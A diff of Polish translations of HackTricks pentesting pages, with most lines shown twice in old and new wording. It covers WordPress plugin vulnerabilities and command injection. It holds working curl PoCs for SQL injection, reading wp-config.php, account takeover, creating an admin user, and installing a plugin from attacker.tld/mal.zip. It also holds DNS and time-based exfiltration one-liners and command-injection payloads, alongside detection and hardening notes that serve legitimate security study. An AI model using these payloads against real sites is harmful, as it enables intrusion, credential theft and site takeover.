Ogólne WAFy brzegowe/serwerowe są nastawione na wykrywanie szerokich wzorców (SQLi, XSS, LFI). Wiele wysokiego ryzyka luk w WordPress i wtyczkach to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę wtyczek.
Ogólne WAFy brzegowe/serwerowe są skonfigurowane pod kątem szerokich wzorców (SQLi, XSS, LFI). Wiele wysokowpływowych luk WordPress/plugin to błędy logiki/specyfiki aplikacji i autoryzacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów.
Offensive notes
- Celuj w endpointy specyficzne dla wtyczek przy użyciu czystych payloadów: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Najpierw testuj ścieżki nieautoryzowane (AJAX `nopriv`, REST z liberalnym `permission_callback`, public shortcodes). Domyślne payloady często działają bez obfuskacji.
- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
- Celuj w endpointy specyficzne dla pluginów z czystymi payloadami: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Sprawdź najpierw ścieżki nieautoryzowane (AJAX `nopriv`, REST z permisywnym `permission_callback`, public shortcodes). Domyślne payloady często działają bez obfuskacji.
- Typowe przypadki o wysokim wpływie: eskalacja uprawnień (zepsuta kontrola dostępu), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
Defensive notes
- Nie polegaj na ogólnych sygnaturach WAF, aby chronić CVE dotyczące wtyczek. Wdroż wirtualne poprawki specyficzne dla podatności na warstwie aplikacji lub zaktualizuj szybko.
- Preferuj mechanizmy pozytywnej ochrony w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.
- Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Zaimplementuj łatki wirtualne specyficzne dla podatności na warstwie aplikacji lub szybko aktualizuj.
- Preferuj podejście pozytywnej polityki bezpieczeństwa w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.
## Ochrona WordPress
## WordPress Protection
### Regularne aktualizacje
### Regular Updates
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:
Upewnij się, że WordPress, pluginy i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
@ -596,9 +596,9 @@ Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**.
- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP.
### Nieuwierzytelniony SQL Injection z powodu niewystarczającej walidacji (WP Job Portal <= 2.3.2)
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`:
The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -610,9 +610,9 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
```
Problemy wprowadzone przez ten fragment:
1. **Unsanitised user input** `parentid` pochodzi bezpośrednio z żądania HTTP.
2. **String concatenation inside the WHERE clause** brak użycia `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** chociaż akcja jest wykonywana przez `admin-post.php`, jedyną kontrolą jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przy pomocy shortcode `[wpjobportal_my_resumes]`.
1. **Niesanitizowane dane wejściowe użytkownika** `parentid` pochodzi bezpośrednio z żądania HTTP.
2. **Łączenie łańcuchów znaków w klauzuli WHERE** brak `is_numeric()` / `esc_sql()` / prepared statement.
3. **Dostęp bez uwierzytelnienia** chociaż akcja wykonywana jest przez `admin-post.php`, jedyna kontrola to **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode `[wpjobportal_my_resumes]`.
#### Wykorzystanie
@ -620,7 +620,7 @@ Problemy wprowadzone przez ten fragment:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Wstrzyknięcie dowolnego zapytania SQL przez nadużycie `parentid`:
2. Wstrzyknij dowolne zapytanie SQL, wykorzystując `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, co potwierdza SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
### Nieautoryzowane pobieranie dowolnych plików / Path Traversal (WP Job Portal <= 2.3.2)
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobrać **dowolny plik na dysku** poprzez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
Inna akcja, **downloadcustomfile**, pozwalała odwiedzającym pobrać **dowolny plik z dysku** poprzez path traversal. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanitacji**. Ponownie, jedyną barierą jest **CSRF nonce**, który można pobrać ze strony z CV.
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez filtrowania**. Ponownie, jedyną przeszkodą jest **CSRF nonce**, który można pobrać ze strony CV.
#### Exploitation
```bash
@ -652,11 +652,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
```
Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys.
## Nieautoryzowane przejęcie konta przez Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Wiele motywów/pluginów dostarcza "social login" helpery wystawione przez admin-ajax.php. Jeśli nieautoryzowana akcja AJAX (wp_ajax_nopriv_...) ufa identyfikatorom dostarczonym przez klienta, gdy brakuje danych providera, a następnie wywołuje wp_set_auth_cookie(), to staje się to pełnym obejściem uwierzytelniania.
Wiele motywów/wtyczek dostarcza helpery "social login" udostępnione przez admin-ajax.php. Jeśli nieuwierzytelniona akcja AJAX (wp_ajax_nopriv_...) ufa identyfikatorom przesłanym przez klienta, gdy brak danych providera, a następnie wywołuje wp_set_auth_cookie(), to staje się to pełnym obejściem uwierzytelniania.
Typowy błędny schemat (uproszczony)
Typowy wadliwy wzorzec (uproszczony)
```php
public function check_login() {
// ... request parsing ...
@ -685,17 +685,17 @@ wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
```
Dlaczego to jest eksploatowalne
Dlaczego jest to podatne
- Dostęp bez uwierzytelnienia przez admin-ajax.php (akcja wp_ajax_nopriv_…).
- Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action).
- Brak sprawdzeń nonce/capability przed zmianą stanu.
- Brak weryfikacji dostawcy OAuth/OpenID; gałąź domyślna akceptuje dane od atakującego.
- get_user_by('email', $_POST['id']) z następującym wp_set_auth_cookie($uid) uwierzytelnia żądającego jako dowolny istniejący adres e-mail.
- Brak weryfikacji OAuth/OpenID provider; gałąź domyślna akceptuje dane wejściowe od attacker.
- get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) powoduje uwierzytelnienie requestera jako dowolny istniejący adres e-mail.
Eksploatacja (bez uwierzytelnienia)
Wykorzystanie (unauthenticated)
- Wymagania wstępne: atakujący może osiągnąć /wp-admin/admin-ajax.php i zna/zgaduje poprawny adres e-mail użytkownika.
- Ustaw provider na nieobsługiwaną wartość (lub pomiń go), aby trafić do gałęzi domyślnej i przekazać id=<victim_email>.
- Wymagania wstępne: attacker może dotrzeć do /wp-admin/admin-ajax.php i zna/zgaduje prawidłowy adres e-mail użytkownika.
- Ustaw provider na nieobsługiwaną wartość (lub pomiń go), by trafić do gałęzi domyślnej i przekazać id=<victim_email>.
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
@ -708,39 +708,39 @@ action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
```
Expected success indicators
Oczekiwane wskaźniki powodzenia
- HTTP 200 z ciałem JSON takim jak {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* dla ofiary; kolejne żądania są uwierzytelnione.
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* dla zaatakowanego użytkownika; kolejne żądania są uwierzytelnione.
Finding the action name
Znajdowanie nazwy akcji
- Sprawdź motyw/wtyczkę pod kątem rejestracji add_action('wp_ajax_nopriv_...', '...') w kodzie social login (np. framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
- Przeanalizuj motyw/plugin pod kątem rejestracji add_action('wp_ajax_nopriv_...', '...') w kodzie social login (np. framework/add-ons/social-login/class-social-login.php).
- Przeszukaj (grep) wystąpienia wp_set_auth_cookie(), get_user_by('email', ...) w handlerach AJAX.
Detection checklist
Lista kontrolna wykrywania
- Logi serwera pokazujące niezautoryzowane żądania POST do /wp-admin/admin-ajax.php z akcją social-login i id=<email>.
- Odpowiedzi 200 z JSON-em sukcesu bezpośrednio poprzedzające uwierzytelniony ruch z tego samego IP/User-Agent.
- Logi webowe pokazujące nieautoryzowane POSTy do /wp-admin/admin-ajax.php z akcją social-login i id=<email>.
- Odpowiedzi 200 z JSONem powodzenia bezpośrednio poprzedzające uwierzytelniony ruch z tego samego IP/User-Agent.
Hardening
Wzmocnienie zabezpieczeń
- Nie wyprowadzaj tożsamości na podstawie danych przesłanych przez klienta. Akceptuj tylko adresy e-mail/ID pochodzące z zatwierdzonego tokena/ID dostawcy.
- Wymagaj nonce CSRF i sprawdzeń uprawnień nawet dla helperów logowania; unikaj rejestrowania wp_ajax_nopriv_ chyba że jest to absolutnie konieczne.
- Waliduj i weryfikuj odpowiedzi OAuth/OIDC po stronie serwera; odrzucaj brakujących/nieprawidłowych dostawców (bez fallbacku do POST id).
- Rozważ tymczasowe wyłączenie social login lub wirtualne załatanie na edge (zablokowanie podatnej akcji) do czasu naprawy.
- Nie wyprowadzaj tożsamości z danych od klienta. Akceptuj tylko adresy e-mail/ID pochodzące z zweryfikowanego provider token/ID.
- Wymagaj CSRF nonces i sprawdzeń uprawnień nawet dla helperów logowania; unikaj rejestrowania wp_ajax_nopriv_ chyba że absolutnie konieczne.
- Weryfikuj odpowiedzi OAuth/OIDC po stronie serwera; odrzucaj brakujących/nieprawidłowych providerów (bez fallbacku do POST id).
- Rozważ tymczasowe wyłączenie social login lub wirtualne załatanie na krawędzi (zablokowanie podatnej akcji) do czasu naprawy.
Patched behaviour (Jobmonster 4.8.0)
Zachowanie po łacie (Jobmonster 4.8.0)
- Usunięto niebezpieczny fallback oparty na $_POST['id']; $user_email musi pochodzić z gałęzi zweryfikowanego dostawcy w switch($_POST['using']).
- Usunięto niebezpieczny fallback z $_POST['id']; $user_email musi pochodzić z zweryfikowanych gałęzi provider w switch($_POST['using']).
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
## Nieautoryzowana eskalacja uprawnień przez wydawanie REST token/key na przewidywalnej tożsamości (OttoKit/SureTriggers ≤ 1.0.82)
Niektóre wtyczki udostępniają endpointy REST, które tworzą wielokrotnego użytku “connection keys” lub tokeny bez weryfikacji uprawnień wywołującego. Jeśli trasa autoryzuje się jedynie na podstawie odgadniętego atrybutu (np. username) i nie wiąże klucza z użytkownikiem/sesją poprzez sprawdzenia uprawnień, każdy niezalogowany atakujący może wygenerować klucz i wywołać uprzywilejowane akcje (utworzenie konta admina, akcje wtyczki → RCE).
Niektóre wtyczki udostępniają REST endpoints, które wydają wielokrotnego użytku “connection keys” lub tokeny bez weryfikacji uprawnień wywołującego. Jeśli route uwierzytelnia się jedynie na podstawie łatwego do odgadnięcia atrybutu (np. username) i nie powiązuje klucza z użytkownikiem/sesją poprzez sprawdzenia uprawnień, dowolny nieautoryzowany atakujący może wygenerować klucz i wywołać uprzywilejowane akcje (utworzenie konta admin, akcje wtyczki → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
- Podatna ścieżka (przykład): sure-triggers/v1/connection/create-wp-connection
- Błąd: akceptuje username, wydaje connection key bez current_user_can() lub rygorystycznej permission_callback
- Wpływ: pełne przejęcie poprzez powiązanie wygenerowanego klucza z wewnętrznymi uprzywilejowanymi akcjami
PoC wygeneruj connection key i użyj go
```bash
@ -757,24 +757,24 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Dlaczego to jest podatne
- Wrażliwa ścieżka REST chroniona jedynie przez dowód tożsamości o niskiej entropii (username) lub brakujący permission_callback
- Brak egzekwowania capability; wygenerowany klucz jest akceptowany jako uniwersalny bypass
- Wrażliwa REST route chroniona wyłącznie niską entropią potwierdzenia tożsamości (username) lub brakiem permission_callback
- Brak egzekwowania capability; wygenerowany klucz jest akceptowany jako uniwersalne obejście
Lista kontrolna wykrywania
- Grep w kodzie wtyczki w poszukiwaniu register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Każda ścieżka, która wydaje tokeny/klucze na podstawie tożsamości dostarczonej w żądaniu (username/email) bez powiązania z uwierzytelnionym użytkownikiem lub capability
- Szukaj kolejnych ścieżek, które akceptują wygenerowany token/klucz bez serwerowego sprawdzenia capability
- Przeszukaj kod pluginu pod kątem register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Każda route, która wydaje tokens/keys na podstawie tożsamości podanej w żądaniu (username/email) bez powiązania z uwierzytelnionym użytkownikiem lub capability
- Szukaj kolejnych route, które akceptują wygenerowany token/key bez sprawdzeń capability po stronie serwera
Wzmocnienie
- Dla każdej uprzywilejowanej ścieżki REST: wymagaj permission_callback, który egzekwuje current_user_can() dla wymaganej capability
- Nie twórz długowiecznych kluczy na podstawie tożsamości dostarczonej przez klienta; jeśli to konieczne, wydawaj krótkotrwałe, powiązane z użytkownikiem tokeny po uwierzytelnieniu i ponownie sprawdzaj capability podczas użycia
- Zwaliduj kontekst użytkownika wywołującego (wp_set_current_user nie jest wystarczające samo w sobie) i odrzucaj żądania, gdzie !is_user_logged_in() || !current_user_can(<cap>)
- Dla każdej uprzywilejowanej REST route: wymagaj permission_callback, który wymusza current_user_can() dla wymaganej capability
- Nie generuj długotrwałych kluczy na podstawie tożsamości dostarczonej przez klienta; jeśli konieczne, wydawaj krótkotrwałe, powiązane z użytkownikiem tokeny po uwierzytelnieniu i ponownie sprawdzaj capability przy użyciu
- Waliduj kontekst użytkownika wywołującego (wp_set_current_user nie jest wystarczające samo w sobie) i odrzucaj żądania, gdzie !is_user_logged_in() || !current_user_can(<cap>)
---
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
## Nonce gate misuse → instalacja dowolnego pluginu bez uwierzytelnienia (FunnelKit Automations ≤ 3.5.3)
Nonces zapobiegają CSRF, nie autoryzacji. Jeśli kod traktuje pozytywne przejście nonce jako zielone światło i następnie pomija sprawdzenia capability dla operacji uprzywilejowanych (np. install/activate plugins), niezalogowani atakujący mogą spełnić słabe wymaganie nonce i osiągnąć RCE przez zainstalowanie backdoored or vulnerable plugin.
Nonces zapobiegają CSRF, nie autoryzacji. Jeśli kod traktuje pomyślne sprawdzenie nonce jako zielone światło i pomija sprawdzenia capability dla uprzywilejowanych operacji (np. install/activate plugins), nieuwierzytelnieni atakujący mogą spełnić słabe wymaganie nonce i osiągnąć RCE przez zainstalowanie backdoored lub vulnerable plugin.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
@ -786,24 +786,24 @@ curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
Detection checklist
- REST/AJAX handlers modyfikujące wtyczki/motywy używające jedynie wp_verify_nonce()/check_admin_referer() i bez sprawdzenia uprawnień
Lista kontrolna wykrywania
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Każda ścieżka kodu, która ustawia $skip_caps = true po walidacji nonce
Hardening
- Zawsze traktuj nonces wyłącznie jako tokeny CSRF; wymuszaj sprawdzenia uprawnień niezależnie od stanu nonce
- Wymagaj current_user_can('install_plugins') oraz current_user_can('activate_plugins') przed dotarciem do kodu instalatora
- Odrzucaj nieuwierzytelniony dostęp; unikaj udostępniania nopriv AJAX actions dla uprzywilejowanych przepływów
Wzmocnienie
- Zawsze traktuj nonce jako tokeny CSRF tylko; wymuszaj sprawdzenia uprawnień niezależnie od stanu nonce
- Wymagaj current_user_can('install_plugins') i current_user_can('activate_plugins') przed dotarciem do kodu instalatora
- Odrzucaj dostęp bez uwierzytelnienia; unikaj ujawniania nopriv AJAX actions dla uprzywilejowanych przepływów
---
## Niezalogowany SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
## SQLi bez uwierzytelnienia przez parametr s (search) w akcjach depicter-* (Depicter Slider ≤ 3.6.1)
Wiele akcji depicter-* wykorzystywało parametr s (search) i konkatenowało go w zapytaniach SQL bez parametryzacji.
Wiele akcji depicter-* pobierało parametr s (search) i konkatenowało go do zapytań SQL bez parametryzacji.
- Parameter: s (search)
- Flaw: bezpośrednia konkatenacja łańcuchów w klauzulach WHERE/LIKE; brak użycia zapytań przygotowanych i sanitizacji
- Impact: eksfiltracja bazy danych (użytkownicy, hashe), lateral movement
- Parametr: s (search)
- Błąd: bezpośrednie konkatenowanie łańcuchów w klauzulach WHERE/LIKE; brak zapytań przygotowanych i sanitizacji
- Wpływ: eksfiltracja bazy danych (użytkownicy, hashe), lateral movement
PoC
```bash
@ -813,37 +813,37 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Detection checklist
- Przeszukaj (grep) depicter-* action handlers oraz bezpośrednie użycie $_GET['s'] lub $_POST['s'] w SQL
- Przejrzyj niestandardowe zapytania przekazywane do $wpdb->get_results()/query(), łączące s
- Grepuj depicter-* action handlers oraz bezpośrednie użycie $_GET['s'] lub $_POST['s'] w zapytaniach SQL
- Przejrzyj niestandardowe zapytania przekazywane do $wpdb->get_results()/query() łączące parametr s
Hardening
- Zawsze używaj $wpdb->prepare() lub wpdb placeholders; odrzucaj nieoczekiwane metaznaki po stronie serwera
- Dodaj ścisłą białą listę dla s i normalizuj do oczekiwanego zestawu znaków/długości
- Dodaj ścisłą allowlistę dla s i normalizuj do oczekiwanego charset/length
---
## Unauthenticated Local File Inclusion via niezwalidowanej ścieżki szablonu/pliku (Kubio AI Page Builder ≤ 2.5.1)
## Local File Inclusion bez uwierzytelnienia przez niezwalidowaną ścieżkę szablonu/pliku (Kubio AI Page Builder ≤ 2.5.1)
Akceptowanie ścieżek kontrolowanych przez atakującego w parametrze template bez normalizacji/izolacji pozwala na odczyt dowolnych lokalnych plików, a czasami na wykonanie kodu, jeśli pliki PHP/log możliwe do include zostaną załadowane w czasie wykonywania.
Akceptowanie ścieżek kontrolowanych przez atakującego w parametrze szablonu bez normalizacji/ograniczenia pozwala na odczyt dowolnych lokalnych plików, a czasem wykonanie kodu jeśli includowalne pliki PHP/logi zostaną załadowane do runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: brak normalizacji/białej listy; traversal permitted
- Impact: ujawnienie sekretów (wp-config.php), potencjalne RCE w określonych środowiskach (log poisoning, includable PHP)
- Flaw: brak normalizacji/allowlisty; path traversal dozwolony
- Impact: ujawnienie sekretów (wp-config.php), potencjalne RCE w specyficznych środowiskach (log poisoning, includable PHP)
PoC read wp-config.php
PoC odczyt wp-config.php
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Lista kontrolna wykrywania
- Każdy handler łączący ścieżki żądań i przekazujący je do include()/require()/read sinks bez kontroli za pomocą realpath()
- Szukaj wzorców traversal (../), które prowadzą poza zamierzony katalog szablonów
- Każdy handler łączący ścieżki żądań w include()/require()/read sinks bez ograniczenia przez realpath()
- Szukaj wzorców traversal (../) wychodzących poza zamierzony katalog templates
Wzmocnienie zabezpieczeń
- Wymuś listę dozwolonych (allowlisted) szablonów; rozwiąż ścieżki przez realpath() i sprawdź str_starts_with(realpath(file), realpath(allowed_base))
Wzmocnienie
- Wymuszaj szablony z allowlisty; rozwiąż ścieżki za pomocą realpath() i wymagaj str_starts_with(realpath(file), realpath(allowed_base))
- Normalizuj wejście; odrzucaj sekwencje traversal i ścieżki bezwzględne; używaj sanitize_file_name() tylko dla nazw plików (nie pełnych ścieżek)
## Źródła
## References
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)

View File

@ -4,11 +4,11 @@
## Czym jest command Injection?
Atak **command injection** umożliwia wykonanie dowolnych poleceń systemu operacyjnego przez atakującego na serwerze hostującym aplikację. W efekcie aplikacja i wszystkie jej dane mogą zostać całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem, na którym działa.
A **command injection** pozwala atakującemu na serwerze hostującym aplikację wykonać dowolne polecenia systemu operacyjnego. W rezultacie aplikacja oraz wszystkie jej dane mogą zostać całkowicie przejęte. Wykonanie tych poleceń zazwyczaj umożliwia atakującemu uzyskanie nieautoryzowanego dostępu lub kontroli nad środowiskiem aplikacji i systemem, na którym ona działa.
### Kontekst
W zależności od tego, **gdzie jest wstrzykiwane twoje wejście**, może być konieczne **zakończenie kontekstu cytowania** (używając `"` lub `'`) przed poleceniami.
W zależności od tego, **gdzie są wstrzykiwane Twoje dane wejściowe**, może być konieczne **zamknięcie kontekstu cytowania** (używając `"` lub `'`) przed dodaniem poleceń.
## Command Injection/Execution
```bash
@ -30,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Ograniczenia** Bypasses
Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux**, zainteresuje Cię lektura na temat tych **Bypasses:**
### **Ograniczenia** Obejścia
Jeśli próbujesz wykonać **dowolne polecenia w maszynie linux**, zainteresuje Cię lektura o tych **obejściach:**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -77,7 +76,7 @@ Poniżej znajduje się lista 25 najważniejszych parametrów, które mogą być
```
### Time based data exfiltration
Wyodrębnianie danych: char by char
Ekstrakcja danych: char by char
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -91,7 +90,7 @@ sys 0m0.000s
```
### DNS based data exfiltration
Opiera się na narzędziu z `https://github.com/HoLyVieR/dnsbin`, które jest również hostowane na dnsbin.zhack.ca
Oparte na narzędziu z `https://github.com/HoLyVieR/dnsbin`, również hostowanym na dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -101,7 +100,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Narzędzia online do sprawdzania DNS based data exfiltration:
Narzędzia online do sprawdzenia DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile`
Podczas audytu backendów JavaScript/TypeScript często natrafisz na API Node.js `child_process`.
Podczas audytu back-endów JavaScript/TypeScript często natkniesz się na API Node.js `child_process`.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` uruchamia **shell** (`/bin/sh -c`), dlatego każdy znak mający specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) spowoduje **command injection**, gdy dane wejściowe użytkownika są konkatenowane w ciągu znaków.
`exec()` uruchamia **shell** (`/bin/sh -c`), dlatego każdy znak mający specjalne znaczenie dla **shell** (back-ticks, `;`, `&&`, `|`, `$()`, …) spowoduje **command injection**, gdy dane wejściowe użytkownika są konkatenowane do ciągu znaków.
**Środki zaradcze:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i przekazuj **każdy argument jako oddzielny element tablicy**, aby żaden shell nie był zaangażowany:
**Zalecenie:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i podaj **każdy argument jako oddzielny element tablicy**, aby nie był używany **shell**:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -140,25 +139,25 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
Real-world case: *Synology Photos* ≤ 1.7.0-0794 był podatny na atak przez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, a następnie były one osadzane w wywołaniu `exec()`, co prowadziło do RCE (Pwn2Own Ireland 2024).
Real-world case: *Synology Photos* ≤ 1.7.0-0794 było podatne na atak przez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, które później zostały osadzone w wywołaniu `exec()`, osiągając RCE (Pwn2Own Ireland 2024).
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
Typical places where this appears:
Typowe miejsca, w których się to pojawia:
- Wbudowane web UIs/CGI handlers, które budują polecenia takie jak `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, itd.
- Scentralizowane CGI routers (np. `/cgi-bin/<something>.cgi` z parametrem selektora takim jak `topicurl=<handler>`), gdzie wiele handlerów ponownie używa tego samego słabego walidatora.
- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
What to try:
Co spróbować:
- Podaj wartości zaczynające się od `-`/`--`, aby zostały potraktowane jako flagi przez narzędzie docelowe.
- Nadużyj flag, które zmieniają zachowanie lub zapisują pliki, na przykład:
- `ping`: `-f`/`-c 100000` aby obciążyć urządzenie (DoS)
- `curl`: `-o /tmp/x` aby zapisać w dowolnej ścieżce, `-K <url>` aby załadować konfigurację kontrolowaną przez atakującego
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` aby uzyskać wykonanie po rotacji (post-rotate) w niebezpiecznych wrapperach
- Jeśli program obsługuje `--` jako koniec opcji, spróbuj obejść naiwną ochronę, która dopisuje `--` w niewłaściwym miejscu.
- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool.
- Abuse flags that change behavior or write files, for example:
- `ping`: `-f`/`-c 100000` aby obciążyć urządzenie (DoS)
- `curl`: `-o /tmp/x` aby zapisać do dowolnej ścieżki, `-K <url>` aby załadować konfigurację kontrolowaną przez atakującego
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` aby osiągnąć wykonanie po rotacji w niebezpiecznych wrapperach
- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.
Generic PoC shapes against centralized CGI dispatchers:
```
@ -178,7 +177,7 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## Źródła
## Referencje
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)

View File

@ -1,21 +1,21 @@
# Wartości HackTricks i FAQ
# HackTricks Wartości i FAQ
{{#include ../banners/hacktricks-training.md}}
## Wartości HackTricks
